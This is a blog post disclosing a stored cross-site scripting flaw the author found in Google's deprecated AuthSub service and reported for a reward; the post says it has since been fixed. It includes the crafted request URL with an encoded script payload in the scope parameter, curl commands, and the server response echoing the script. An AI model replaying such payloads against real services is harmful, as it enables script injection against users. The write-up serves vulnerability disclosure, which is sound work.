In my previous blog post I mentioned a following post about some vulnerability I found in https://accounts.google.com/.
As said, motivated from my little success that I got finding a vulnerability in some obsolete authorization service in Facebook I thought I might have the same luck with Google :)
Well it turned out this was the case...
Giving a look at the Older Protocols in the Google Accounts Authentication and Authorization page something that immediately caught my attention was the AuthSub (deprecated) flow.
Now, I am not going to describe here the flow, it is enough saying that it is a pre-OAuth flow that Google used to give some access delegation using some sort of tokens...
The problem was related with the scope parameter in www.google.com/accounts/ AuthSubRequest. It accepted concatenation of string after a valid scope.
E.g.
https://accounts.google.com/AuthSubRequest?next=http%3A%2F%2Flocalhost%3A8080%2Fa&scope=http%3A%2F%2Fwww.google.com%2Fcalendar%2Ffeeds%2F/%3Cscript%3Ealert%28%27hello%27%29%3C/script%3E&session=1&secure=0&hd=default
So far so good.
The next natural step would have been to use the https://developers.google.com/accounts/docs/AuthSub#AuthSubTokenInfo to get the scope back with the given stored javascript.
At a first sigh this looked like unexploitable since as per doc this would require a request header, namely
curl -H "Authorization:AuthSub token="1/XD7eCi3_
The reality though was that it existed also another version of the service that accepts request parameter (and the cherry on top was that this service also runs in https://accounts.google.com that is the most rewarded according to https://www.google.ch/about/appsecurity/reward-program/).
So
curl -v https://accounts.google.com/accounts/AuthSubTokenInfo?oauth_token=1/BWAFgricOqhNMPTcHsPy0MRlKbMWE-HNMjlLtT0NNPA
> User-Agent: curl/7.30.0
> Host: www.google.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=UTF-8
< X-Frame-Options: DENY
< Date: Thu, 07 Aug 2014 20:10:51 GMT
< Expires: Thu, 07 Aug 2014 20:10:51 GMT
< Cache-Control: private, max-age=0
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Content-Length: 106
< * Server GSE is not blacklisted
< Server: GSE
< Alternate-Protocol: 443:quic
<
Target=localhost
Secure=false
Scope=http://www.google.com/calendar/feeds//<script>alert('hello')</script>
Some observations:
- the scope is not sanitized (so he can lead to a XSS ) but
- no sniff is present
- Content Type is text/plain
- the attacker can generate a token with a forged scope (he can generate as many as he wants) doing https://accounts.google.com/AuthSubRequest?next=http%3A%2F%2Flocalhost%3A8080%2Fa&scope=http%3A%2F%2Fwww.google.com%2Fcalendar%2Ffeeds%2F/%3Cscript%3Ealert%28%27hello%27%29%3C/script%3E&session=1&secure=0&hd=default
- the attacker get the token back
- and the attacker can now generate the link with the stored XSS, namely https://accounts.google.com/accounts/AuthSubTokenInfo?oauth_token=1/BWAFgricOqhNMPTcHsPy0MRlKbMWE-HNMjlLtT0NNPA
Once reported Google fixed it pretty soon and also got a reward for it... Not bad for a left over :p
Thanks Google security.
Comments